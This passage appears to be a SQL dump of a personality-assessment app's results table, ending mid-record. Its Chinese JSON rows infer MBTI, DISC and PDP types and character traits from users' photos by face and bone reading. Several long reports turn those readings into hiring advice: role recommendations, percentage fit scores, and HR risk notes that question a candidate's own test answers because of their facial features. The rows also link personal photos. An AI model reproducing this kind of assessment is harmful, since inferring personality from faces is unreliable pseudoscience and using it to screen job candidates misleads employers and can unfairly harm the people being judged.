\"boneAnalysis\": \"骨量适中偏厚,下颌圆厚承载力强,颧骨不张主守成,属土形稳健格局,重视现实与稳定。\", \"faceAnalysis\": \"额头饱满,下庭厚实,眼神内敛稳重,鼻梁端正,嘴型含蓄收敛,整体给人踏实可靠之感。\", \"personalitySummary\": \"性格内敛沉稳,重责任与承诺,做事耐心细致,抗压能力好,偏向长期投入与稳健发展路径。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218013, 1773218013, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (115, 28, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳健细致、有责任感与执行力,重视规则与现实结果,适合长期深耕与稳步进阶。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg\"], \"boneAnalysis\": \"骨相偏土形,骨肉均衡,颧骨内敛不外露,下颌有力,格局务实稳健。\", \"faceAnalysis\": \"额头宽阔鼻梁端正,下巴饱满,眼神沉稳,整体五官偏实在稳重型。\", \"personalitySummary\": \"性格务实内敛,重视承诺与责任,做事耐心细致,抗压性强,更偏向脚踏实地稳步推进型。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218078, 1773218078, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (116, 28, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"谨慎稳健、责任心强,注重现实与细节,适合在稳定结构中承担关键职责并长期深耕。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg\"], \"boneAnalysis\": \"骨架偏厚重、颧区内敛、下颌有力,属土形稳健格局,抗压持久,重实际执行与长期承载。\", \"faceAnalysis\": \"额头宽平、眼神沉稳、鼻梁端正、下颌厚实,整体给人理性踏实、重承诺有耐力的印象。\", \"personalitySummary\": \"性格内敛理性、有原则感与责任心,做事踏实有规划,重承诺与结果,适合在规则清晰的体系中长期负责重要模块。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218176, 1773218176, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (117, 1, 'resume', '{\"content\": \"下面的分析,会把你给到的多源信息(简历+人脸&骨相分析+MBTI 两套结果+PDP+DISC)做“去噪”和交叉验证,不按某一份测评的标签生搬硬套,而是抽取其中彼此印证的部分。\\n\\n---\\n\\n## 一、核心性格关键词(综合结论)\\n\\n- 冷静理性、重逻辑 \\n- 计划性强、组织导向 \\n- 目标结果导向,执行力稳定 \\n- 内在自我要求高,抗压持久 \\n- 外在沟通存在“社交/表现”一面(可切换出场) \\n- 情绪表达相对克制,不喜无效社交 \\n- 信任建立慢,但一旦认定就稳定可靠 \\n\\n整体更像:**理性驱动的组织者 + 可控输出的影响者**,而不是典型“高情绪化、随性”的孔雀型。\\n\\n---\\n\\n## 二、真实性格深度分析\\n\\n### 1. 生日 & 面相骨相信息带来的“底色”\\n\\n你给出的面相/骨相描述中,有几条很关键:\\n\\n- “额头平阔饱满,眉眼沉稳专注,鼻梁挺直有力,嘴型收敛紧实,下颌线清晰” \\n- “整体给人冷静自持、内敛坚决之感” \\n- “骨相偏金木形…属稳健理性型格局,重视原则与秩序,抗压持久”\\n\\n去掉玄学解释,从心理与行为特征上可提炼为:\\n\\n- **偏理性+克制**:天然会先观察、判断,再行动;不易情绪化爆发。\\n- **原则意识强**:在规则、秩序、底线这类问题上比较硬,容易成为团队里的“标准制定者/捍卫者”。\\n- **意志与抗压能力较强**:遇到压力时,更倾向于咬牙扛住&自己消化,而不是大幅情绪外露。\\n- **自我要求高**:下颌线清晰 +收敛嘴型,对自我控制与结果质量有一定要求。\\n\\n这与“理性冷静、谋略清晰,目标导向强”的面部性格描述基本一致,为后面“偏T、偏J”的人格取向提供了底层支撑。\\n\\n---\\n\\n### 2. 工作经历维度(推断)\\n\\n由于简历图片内容看不到,但可结合你给出的整体测评倾向做合理推断:\\n\\n- MBTI(系统测评版):**ESTJ,E/T/S/J都极度偏向一端(100%)** \\n- DISC:**I 主 C 次,D 也不低(20%)** \\n- PDP:**孔雀 85% + 老虎 15%**\\n\\n能够拿到这样一组结果,一般意味着在工作场景中,你:\\n\\n1. **经常处在“对人+对事并重”的位置** \\n - 有一定管理/协调/组织职责:带团队、协调资源、沟通多方。\\n - 必须对业绩/结果负责:对目标、时间节点、执行落地非常敏感。\\n\\n2. **现实行为中展现出较多“外向、高表达”的一面** \\n - 需要开会、汇报、谈判、对外沟通,这会拉高E、I(影响型)、孔雀型等维度分数。\\n - 这说明你**能且会主动沟通和影响别人**,而不是纯粹沉浸在自我世界。\\n\\n3. **在压力环境下,更倾向于掌控与推进,而不是退缩** \\n - ESTJ 的“总经理型”+ D/I/C 的组合,都指向“在压力下维持推动、控制与决策”的能力。\\n - 行为风格上很可能偏:**有节奏地快、决策时果断,对不落实的人和事容忍度低。**\\n\\n4. **做事习惯偏“系统+流程+节点管理”** \\n - 高J:习惯制定计划、重要事项要落到日程和清单上。\\n - 高S:注重实际可行性,关注细节执行而不是空谈概念。\\n - 高T:决策更多依靠逻辑、事实与收益,而不是“大家感觉如何”。\\n\\n人际模式方面,大概率是:\\n\\n- 在工作场合:可表现为开朗、健谈、逻辑清晰、能hold住场子,甚至带节奏。 \\n- 在私下/陌生场域:会更克制和选择性社交,不喜欢低效率的寒暄。\\n\\n这与“外部测评看起来很E/I/孔雀,面相与人设更偏INTJ/猫头鹰/C”的反差是吻合的: \\n**现实工作逼你表现得更外向、更具影响力,但内核仍偏理性与控制感。**\\n\\n---\\n\\n### 3. MBTI / PDP / DISC:交叉验证与“去伪存真”\\n\\n你这组数据里,**冲突点**非常明显:\\n\\n- 人脸分析:INTJ + 猫头鹰 + C(重逻辑、内敛、策略、规则) \\n- MBTI测评:ESTJ(极端E/S/T/J) \\n- PDP:孔雀 85%(高表现、爱社交) \\n- DISC:I 主 + C 次 + D 有一定比例(影响型+谨慎型+少量支配)\\n\\n如何去伪存真?可以这样理解:\\n\\n#### (1)认知风格:T + J 是确定的\\n\\n- T(思考型): \\n 所有系统都在强调你**强逻辑、重事实与结果**,几乎没有F(情感型)的显著证据。 \\n → 决策侧重“对不对”、“值不值”,而不是“大家开不开心”。\\n\\n- J(判断型): \\n 规划性、结构感、秩序感,一再出现(INTJ、ESTJ、C、猫头鹰)。 \\n → 你习惯有计划、有节点、有控制的推进过程,对“随时变化、完全随缘”的工作状态不适应。\\n\\n**结论:T+J 非常稳定,是真实性格的核心。**\\n\\n#### (2)内外向 & 表现欲:真实情况更像“工作型E,性格底色偏I”\\n\\n- 面相&骨相 + INTJ:指向**内敛、冷静、自我驱动** \\n- 但MBTI、PDP、DISC 又给出高E、高I、高孔雀\\n\\n合理解释是:\\n\\n- 你具备**足够的表达能力和外向行为资源**,可以在需要时主动讲话、谈判、展示、推动。\\n- 但这种外向更多是**“角色化的外向”**:基于角色需要(领导、项目负责人、业务推动者)而启用,而不是发自内心喜欢“永远在热闹中心”。\\n- 真正让你恢复能量的方式,很可能仍是:**独处、安静思考、系统性整理、自己控制节奏。**\\n\\n**结论:内心偏I,行为上能切换到E,是“可控外向型”的理性组织者。**\\n\\n#### (3)S vs N:实践偏S,思维可兼顾N,但以现实、落地为主\\n\\n- ESTJ 给出的 S 极高(务实、执行、落地);\\n- INTJ 带来的 N 是:愿意思考长远结构、系统规划、路径设计。\\n\\n在现实中,高位/中高责任岗位的人,往往要同时具备:\\n\\n- **N**:看方向、布局、预判风险; \\n- **S**:确保短期落地,盯执行、看细节。\\n\\n结合你“目标导向+统筹规划+稳定产出”的描述,比较可能是:\\n\\n- 思考方式上,愿意看全局和长远; \\n- 行动执行上,非常重视现实可行性与当前资源条件。\\n\\n**结论:略偏S 的 NJ 型,更像是“会算账的战略执行者”。**\\n\\n#### (4)PDP/ DISC 中的“孔雀 / I 型”如何理解?\\n\\n这部分不把它理解为“你就是典型孔雀型”,而看成:\\n\\n- 你在**工作角色中承担了较强的对人沟通与影响任务**:\\n - 需要激励团队、协调内外部资源、做跨部门沟通;\\n - 对外需要展示、路演、谈判、汇报。\\n- 因此在行为层面,被测评系统识别为高“影响、表现、社交”的典型特征。\\n- 但骨相与MBTI中的理性/规则侧,又说明:**你对人的态度并不浪漫化,带有功利理性与边界感。**\\n\\n**结论:你具备“高影响力的沟通能力”,但背后驱动并非“讨好”或“纯社交成瘾”,而是为了目标、为了事情推进。**\\n\\n---\\n\\n## 三、行为与沟通风格\\n\\n### 1. 行为风格\\n\\n- **决策:快而有依据** \\n 先快速收集核心信息,形成判断,然后迅速定调并推动执行。对拖拉和反复横跳会不耐烦。\\n- **执行:重纪律、重标准** \\n 更倾向于建立流程、指标、制度,要求团队遵守;“说了不做”是你最不能接受的点之一。\\n- **抗压方式:硬扛+理性拆解** \\n 面对压力,你不太会崩溃式发泄,更像是:“先稳住局面,分解问题,按优先级一件件解决”。\\n\\n### 2. 沟通风格\\n\\n- **表达风格:直、清晰、有条理** \\n 喜欢讲数据、事实、逻辑,少用含糊、情绪化的语句。对无效闲聊兴趣不大。\\n- **对下属/同事:要求明确,反馈直接** \\n 会说“哪里做得好,哪里不行,要改什么”;有时在敏感型同事眼中略“严厉/不够温情”。\\n- **对上级/客户:尊重但不迎合** \\n 能用专业和结果说话,不喜欢无原则的讨好;更多是通过“专业、靠谱”获取信任。\\n- **在人际距离上:适度保持边界** \\n 能友好相处,但保留个人空间,不轻易完全暴露自己的真实情绪和私生活。\\n\\n---\\n\\n## 四、优势亮点(可沉淀为职业竞争力)\\n\\n1. **逻辑清晰、判断力强** \\n 能快速抓住问题核心,基于事实与数据做决策,适合承担关键决策与把关角色。\\n\\n2. **规划与组织能力出色** \\n 擅长把目标拆解为计划、步骤、节点,并通过制度/流程保障执行落地。\\n\\n3. **稳定的抗压与责任心** \\n 面对压力与复杂局面,能撑得住、不轻易失控,适合在关键岗位顶住“最后一棒”。\\n\\n4. **可控输出的影响力** \\n 能在需要的时候表现为外向、能说会谈、有气场,既能面向团队也能对接外部。\\n\\n5. **原则性与可靠度** \\n 重承诺、重底线;在团队中容易被视作“可信赖、能依靠”的那一类人。\\n\\n---\\n\\n## 五、可提升方向(组合型性格的常见盲区)\\n\\n1. **情绪与表达的柔性度** \\n - 风险:过于强调效率与结果,容易在无意间让他人感到“冷/压迫感/不近人情”。 \\n - 建议:适度增加情绪化反馈,例如肯定情绪(“我知道这段时间大家很辛苦”)、表达感谢与支持,可以显著提升团队黏性。\\n\\n2. **对“非理性”因素的包容度** \\n - 风险:对拖沓、反复、情绪化个体耐受度低,可能在协作中产生隐性对立。 \\n - 建议:把他人的“情绪波动”视作一种“客观变量”,纳入你的系统管理中(例如:预留时间与空间给对方消化),而不是只看成“没道理”。\\n\\n3. **适当展示脆弱与人味** \\n - 风险:过度自控与硬扛,会让他人觉得你“不需要被理解”,从而难以建立真正深层信任。 \\n - 建议:在合适的范围内,适当分享自己的困难与真实感受,会增强团队对你的情感认同与愿意跟随的意愿。\\n\\n4. **警惕“过度掌控”倾向** \\n - 风险:TJ+C 型容易在关键事情上“什么都想亲自盯”,导致自己过劳+团队被动依赖。 \\n - 建议:对任务做“分层授权”:哪些必须你亲自把关,哪些只需设定标准与检查节点,刻意练习放手。\\n\\n5. **保留/发展 N 向的战略思维** \\n - 风险:若长期被业务压力拖入日常事务,可能把自己用成“高级执行官”,浪费战略潜力。 \\n - 建议:刻意留出思考时间,做中长期布局、预判行业变化,让自己持续处在“既能执行又能设计规则”的位置。\\n\\n---\\n\\n**综合结论一句话**: \\n你是一个以内在理性与秩序感为核心、在外部可切换为高影响力角色的组织者型人格。真正稳固的优势,在于:能兼顾“逻辑决策 + 计划执行 + 对人沟通”,但需要在柔性表达与授权放手上再做优化,以支撑更大规模、更高层级的管理与协作。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773218290, 1773218290, 6, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (118, 29, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFJ\", \"title\": \"主人公\"}, \"overview\": \"外向温和,情绪稳定,人际感知敏锐,善于协调关系与推动事务落地。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1ef0a945.93981460.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f03ae52.89961796.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f0baf53.84218867.jpg\"], \"boneAnalysis\": \"面骨平正不突兀,颧骨内敛有度,下颌圆厚,属土形偏稳健格局,重视责任与现实承载。\", \"faceAnalysis\": \"额头饱满,下庭有力,眼神柔中带定,鼻梁端正,嘴角上扬,整体给人亲和而踏实之感。\", \"personalitySummary\": \"性格外向友善,重视他人感受,做事稳中求进,沟通自然亲切,适合在协作与服务他人的场景中发挥长处。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218860, 1773218860, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (119, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"项目经理 / PM(偏交付与执行方向)\", \"运营管理岗(业务运营、门店/区域管理、流程与标准落地)\", \"销售团队管理 / 渠道拓展经理(需带团队并对业绩负责)\", \"中层管理岗(小团队负责人、业务线负责人)\", \"需要对接多部门的协调角色(如实施、客服运营主管等)\"], \"notSuitable\": [\"需要长时间独立、深度研究、极少沟通的纯技术/研究岗\", \"高度无结构、完全缺乏规则的创业环境早期核心岗位\", \"以情绪陪伴、共情为主的助人职业(如心理咨询、社工)\", \"需要极高创造性、不受任何约束的艺术型岗位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"85%\"}, {\"label\": \"抗压与稳定性\", \"level\": \"high\", \"value\": \"80%\"}, {\"label\": \"自驱力\", \"level\": \"high\", \"value\": \"85%\"}, {\"label\": \"沟通与影响力\", \"level\": \"high\", \"value\": \"80%\"}, {\"label\": \"团队协作与授权\", \"level\": \"medium\", \"value\": \"70%\"}, {\"label\": \"学习与反思能力\", \"level\": \"medium-high\", \"value\": \"75%\"}], \"headline\": \"一个偏结果导向的管理型执行者:敢站在前台、会说也能扛事,但在控制感与团队感受之间需要更好平衡。\"}, \"overview\": \"该候选人在不同测评结果中出现了明显分化:人脸&骨相+初始画像偏理性内敛型(INTJ / C / 猫头鹰),而正式测评结果则高度外向、表达型(ESTJ + 孔雀型 + DISC高I)。结合两类数据及通用职业行为规律,可推演其真实画像更可能是:外向-理性并存、重目标与结果、具较强表达与组织能力,但内核偏控制、自主与理性决策,既不是单一“冷静谋士型”,也不是典型“无拘无束的表演者型”。整体来看,是一个偏执行与管理导向、愿意站到台前但思维偏理性、对秩序与效率有要求的人。\", \"portrait\": {\"coreRisks\": [\"容易在自信与控制欲中不自觉压制他人,导致团队反馈不足\", \"在追求效率与结果时,可能忽略个体情绪与细节体验\", \"决策方式偏“自己想清楚再告知他人”,容易被误解为独断\", \"注意力在多目标并行时可能分散,优先级管理需要强化\", \"在人际上存在“既想影响他人又不愿过度暴露脆弱面”的矛盾,易形成距离感\"], \"workStyle\": \"工作风格偏“管理型执行者”:会主动承担责任、愿意站在前台协调和推动,关注结果和进度,习惯先搭好框架、再在框架内优化细节。面对任务时,倾向将复杂问题拆解为步骤,通过制定计划、分配任务、设定节点来推动。对模糊、标准不清的环境耐受度一般,更偏好目标明确、边界清晰的场景。决策时重视事实与逻辑,少受情绪左右,但在表达观点上往往坚定甚至强硬,需要学习更柔性的表达方式。\", \"coreStrengths\": [\"结果导向与执行力强,愿意对目标负责并推进落地\", \"逻辑与结构化思维良好,做事有步骤、有计划\", \"表达欲与影响力较强,能够带动氛围、说服他人\", \"对规则、流程和标准敏感,能维持团队基本秩序\", \"在中高压环境下具持续输出能力,抗压韧性较好\"]}, \"resumeHighlights\": \"(1)核心性格关键词:外向理性、结果导向、结构化执行、表达欲与控制感并存、在压力下表现稳定。 \\n\\n(2)真实性格深度分析:\\n- 性格底色:综合人脸/骨相“理性、克制、骨架稳健”与ESTJ/高I高T的结果,可以推断其底色为“理性+主导”的外倾型——不属于情绪化外向,而是带有明确目标、愿意组织他人的领导倾向。内心对秩序、掌控和自我效能感有较高需求,希望事情按自己的逻辑有序推进。\\n- 决策方式:偏向以事实、数据和经验为依据,重视“对不对”“能不能落地”,不太受他人情绪左右。在时间紧、压力大时,会更直接地下判断并要求执行,风险是忽略了团队的参与感与异议。\\n- 情绪管理:情绪整体可控,外显相对稳定,即便内心有焦虑或不满,也倾向通过“加快推进、加强控制”来应对,而不是公开化情绪。有一定“把情绪压成行动”的倾向,久而久之可能累积压力。\\n- 自我定位:倾向把自己定位为“能扛事、能组织、能把事干成”的角色,希望被视作可靠的执行与管理者;对被动、犹豫、效率低的环境耐受度低,容易产生批判和自行接管的冲动。\\n\\n(3)行为与沟通风格:\\n- 行为风格:\\n - 在团队中容易自然站到偏核心或组织位置,主动设定目标、推动节奏。\\n - 面对问题,第一反应是分析原因、提出解决方案,并推动执行,而不是陷在情绪中。\\n - 能接受一定压力与挑战,短期高压下反而会激发其行动力和决断力。\\n - 对拖延、反复无结论较为不耐烦,偏好“先做再调”的路径。\\n- 沟通风格:\\n - 表达相对直接、清晰,有较强说服与带动气氛的能力(对应PDP孔雀与DISC高I)。\\n - 但内核是理性和标准(对应ESTJ与C向特征),因此在给出意见时可能偏“讲道理”,容易忽略对方感受;在下属或同事眼中,可能被认为“有点强势、要求高”。\\n - 在不熟悉的人面前,会先以较正式、掌控局面的方式出现,一旦熟悉,则会释放更多幽默感和亲和度。\\n - 更习惯纵向汇报和横向协调,而不是进行情绪深度交流,对“无目的性闲聊”兴趣有限。\\n\\n(4)优势亮点:\\n1)目标感和执行落地\\n- 能较快把抽象目标拆解为具体行动,设定里程碑并持续跟进。\\n- 在执行过程中,会用节点、数据和进度来管理,而不是仅凭感觉。\\n\\n2)组织与协调能力\\n- 愿意站到前台整合资源、分配任务,协调不同角色的工作。\\n- 在跨部门或多方协作场景下,能够通过清晰沟通与结果导向推动共识。\\n\\n3)沟通与影响力\\n- 具备一定演讲、说明、说服能力,在会议和公开场合不怯场。\\n- 能够通过积极的态度和明确的方向感,给团队带来“有人带、能跟”的安全感。\\n\\n4)抗压能力与责任感\\n- 面对紧迫节点或高压任务,不容易情绪化,更偏向“咬牙顶上去”。\\n- 对自己负责的事情有较强责任心,不轻易“甩锅”。\\n\\n5)逻辑性与结构化\\n- 在汇报、沟通或写作时,通常能做到逻辑清晰、主线明确,让他人容易理解。\\n\\n(5)可提升方向(针对管理和职场表现):\\n1)平衡控制欲与团队参与感\\n- 建议在关键决策和任务拆解时,多做“先问后说”:先听团队意见,再给出自己的判断;即便已经想好方案,也可以有意识留出讨论空间。\\n- 学会用“共识感”取代“宣布式”沟通,有助于提升团队长期配合度和忠诚度。\\n\\n2)增强对情绪和关系的敏感度\\n- 在一对一沟通中,多关注对方状态,不只问“事情做得怎么样”,也问“你现在状态如何,有什么困难”。\\n- 对不同性格的人适配不同沟通节奏,如对谨慎型、安静型同事适当放慢语速、减少压迫感。\\n\\n3)管理好多任务并行下的优先级\\n- 对自己容易“一口气接太多”的倾向保持警觉,学会拒绝不合理任务或延后优先级较低事项。\\n- 使用更系统的时间与任务管理工具(如四象限法、项目管理软件),避免因注意力分散而影响交付质量。\\n\\n4)在“理性+效率”之外,增加一定弹性\\n- 对规则和流程的坚持是优势,但在高速变化的业务环境中,需要适当增加弹性和试错空间。\\n- 遇到不完美方案时,允许“先上线、再迭代”,避免因为追求完美标准拖慢整体进度。\\n\\n5)向上沟通与向下授权的双向优化\\n- 向上:多用数据和结果呈现自己的贡献,并适当表达对资源和支持的具体需求。\\n- 向下:在交代任务时讲清目标、边界、衡量标准,并给对方留下选择路径的空间,避免“事必躬亲”导致自己负荷过高。\\n\\n综合来看,该候选人适合担任“目标明确、有一定压力、需要组织与执行兼具”的岗位,尤其适合在已有基本制度和资源的团队中发挥“执中军、带队打仗”的角色。如果能在控制感、共情和授权方面进一步提升,将有潜力成长为稳健可靠的中高层管理者。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773219017, 1773219017, 6, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (120, 29, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESTJ\", \"title\": \"总经理\"}, \"overview\": \"目标感强、执行力硬,兼具管理力度与现实判断,适合在结构清晰的环境中带队达成高目标。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04905ca8.13020785.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04924b36.48351571.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e049f74d0.23514689.jpg\"], \"boneAnalysis\": \"面部骨架端正紧实,颧骨与下颌略见棱角,骨肉比例协调,属于稳健持久型格局,利于在中年后持续发力。\", \"faceAnalysis\": \"额头平阔饱满,眼神专注稳定,鼻梁端正,嘴角有力收紧,下颌略方,整体给人理性稳健、执行导向的印象。\", \"personalitySummary\": \"性格务实果断,重视责任与承诺,擅长统筹安排与执行落地,人际中偏直接理性,带有天然威信与管理气场。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773219347, 1773219347, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (121, 31, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳健务实、责任感强,重视规则与长期成果,适合承担关键管理与专业把控角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e48f79.80563960.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e5b252.86311668.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e1826fc05.57970226.jpg\"], \"boneAnalysis\": \"面骨方正厚实,下颌承载力强,颧骨含而不露,属土形稳健格局,重视责任守成与长期积累。\", \"faceAnalysis\": \"额头平阔、眼神沉稳、鼻梁端正、嘴型收敛,下巴厚实,整体给人理性内敛、靠谱可信之感。\", \"personalitySummary\": \"性格沉稳自律,做事谨慎周全,强调原则与秩序;抗压能力强,遇事先分析后行动,擅长在复杂环境中稳步推进。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773219366, 1773219366, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (122, 1, 'resume', '{\"content\": \"{\\\"version\\\":2,\\\"overview\\\":\\\"该候选人在不同测评与人脸分析中呈现出明显的矛盾:一组数据显示为理性、内敛、规划型(INTJ / 猫头鹰 / C型),另一组则呈现外向、表现欲强、偏人际与影响力导向(ESTJ + 孔雀 / I型)。结合骨相与面相给出的“冷静、自持、内敛坚决”,更接近前者理性克制的一面。因缺少简历细节,只能做结构化推演:此人更大概率是以理性、规划、规则为底色的思考型选手,在职场中为了完成工作目标,会主动使用外向沟通、影响力与表达技巧,看上去像“会说话的管理者”,本质仍是以结果和逻辑为核心的务实派。以下画像以“理性规划+适度外向表现”的复合型为基准。\\\",\\\"portrait\\\":{\\\"coreStrengths\\\":[\\\"强逻辑思维与结构化分析能力\\\",\\\"目标导向清晰,执行稳定可靠\\\",\\\"抗压持久,情绪外显少,能在高压下维持理性判断\\\",\\\"规划与统筹能力较强,善于搭建流程与标准\\\",\\\"在必要场合具备一定号召力与表达能力,可承担对外沟通或团队动员\\\",\\\"原则感与责任心强,做事有底线,有始有终\\\"],\\\"coreRisks\\\":[\\\"性格基底偏内敛克制,长时间高强度对外社交会消耗较大,容易出现“社交性疲惫”\\\",\\\"容易过度强调逻辑与效率,对他人的情绪、感受关注度不够,易被感性同事视为“冷”“不近人情”\\\",\\\"对标准和秩序要求较高时,可能显得苛刻或控制欲偏强\\\",\\\"在信息不完整、变化快速且缺少规则的环境中,可能出现犹豫、拉长决策时间\\\",\\\"对自己要求较高,易自我施压,长期缺乏正向反馈时有心态耗损风险\\\"],\\\"workStyle\\\":\\\"工作风格上偏“理性管理者+任务指挥官”混合型:①先搭框架再行动:习惯在动手前理清目标、路径、关键节点和风险点,做事有计划、有步骤,不喜欢无序试错。②结果导向而非过程社交:与人沟通多围绕目标、任务和问题解决,闲聊型社交动力不强,但能在关键场合表现出良好表达与组织协调能力。③高标准自我要求:对自己和团队的工作质量、进度有较高要求,希望事情“按正确方式做对”,对低效、反复、拖延容忍度低。④压力下更理性:面对时间压力、项目冲突时,情绪控制较好,更倾向冷静拆解问题、排序优先级,不会轻易情绪化爆发。⑤偏向“自己先想明白再沟通”:遇到复杂议题时,会先独立思考、整理方案,再与团队讨论,少有完全“边想边拉会”的即兴风格。\\\"},\\\"hrView\\\":{\\\"roleRecommend\\\":{\\\"bestFit\\\":[\\\"项目管理 / PMO(尤其是需要流程设计、风险控制的项目)\\\",\\\"运营管理、流程优化、质量管理(适合梳理制度、建立标准)\\\",\\\"中后台管理岗(数据驱动、以结果和效率为导向的岗位)\\\",\\\"B端客户管理 / 企业服务顾问(偏解决方案型,而非纯关系型销售)\\\",\\\"职能线负责人(如运营、风控、质控、后端支持团队负责人)\\\"],\\\"notSuitable\\\":[\\\"高度情绪劳动型岗位(如全天候高强度客户投诉处理、一线高压服务岗)\\\",\\\"完全缺乏结构与规则、极度混沌初创早期岗位(“一切从零、天天变”的纯探索岗)\\\",\\\"以高频公关应酬、人情维护为主的“关系型销售”“政府关系”类岗位\\\",\\\"需要持续舞台表现和情绪感染的主播 / 主持 / 纯内容网红型岗位\\\"]},\\\"riskNotes\\\":[\\\"候选人外显MBTI为ESTJ、PDP为孔雀、DISC为I型,说明其在测评中可能有刻意强调外向、领导、表现的一面;而人脸与骨相分析偏INTJ/猫头鹰/C型,显示天然更接近理性内敛型。HR在面谈时需要重点验证其真实社交动力与持续外向表现的稳定性。\\\",\\\"若岗位要求持续高频对外社交、情绪调节和高强度临场发挥,需要确认候选人是否会在半年到一年后出现精力透支或职业倦怠。\\\",\\\"若组织文化偏感性、人情化、随机决策,候选人可能因“过于理性、说话直接”而融入难度增大,需要有相对规则、边界清晰的团队环境。\\\"]}},\\\"bossView\\\":{\\\"headline\\\":\\\"以理性与规则为底色、能适度外向担当的执行型管理者:适合作为项目与业务的“带队人”,但需要匹配相对理性的组织氛围。\\\",\\\"metrics\\\":[{\\\"label\\\":\\\"岗位匹配度(对结构化、项目/运营类管理岗位)\\\",\\\"value\\\":\\\"85%\\\",\\\"level\\\":\\\"high\\\"},{\\\"label\\\":\\\"抗压与稳定性(在有一定规则和资源支持的环境)\\\",\\\"value\\\":\\\"88%\\\",\\\"level\\\":\\\"high\\\"},{\\\"label\\\":\\\"团队协作与带人潜力\\\",\\\"value\\\":\\\"80%\\\",\\\"level\\\":\\\"medium-high\\\"},{\\\"label\\\":\\\"对高频外向社交型岗位匹配度\\\",\\\"value\\\":\\\"60%\\\",\\\"level\\\":\\\"medium\\\"},{\\\"label\\\":\\\"组织文化适配(偏理性、制度化团队)\\\",\\\"value\\\":\\\"90%\\\",\\\"level\\\":\\\"high\\\"}],\\\"managementTips\\\":[\\\"给清晰目标和边界:对其说明业务目标、关键指标与决策权限,他会主动规划路径并执行落地,不宜长期让其在模糊需求下反复试错。\\\",\\\"用结果与逻辑沟通:在复盘、反馈时用数据、事实和案例说话,而非主要依赖情绪压力或模糊指令,其回应会更积极。\\\",\\\"授权问题解决,而不仅是任务执行:适合被赋予“问题包”,让他从诊断到方案到落地全权负责,而不是只做某个环节的螺丝钉。\\\",\\\"注意负荷与情绪补给:在大周期、高强度项目后,需安排阶段性复盘和合理休整,防止长期高压下的内耗。\\\",\\\"在团队中为其配备情感连接较强的搭档:由他主导逻辑与结构,由搭档增强团队氛围与情感链接,可以显著提升整体团队体验。\\\"]},\\\"resumeHighlights\\\":\\\"【性格底色与潜在特质】\\\\n- 人脸与骨相分析呈现“额头饱满、眉眼专注、下颌线清晰”,对应理性、克制、自律、目标感强的底色。\\\\n- 描述中“冷静自持、内敛坚决、重视原则与秩序、抗压持久”,与INTJ / 猫头鹰 / 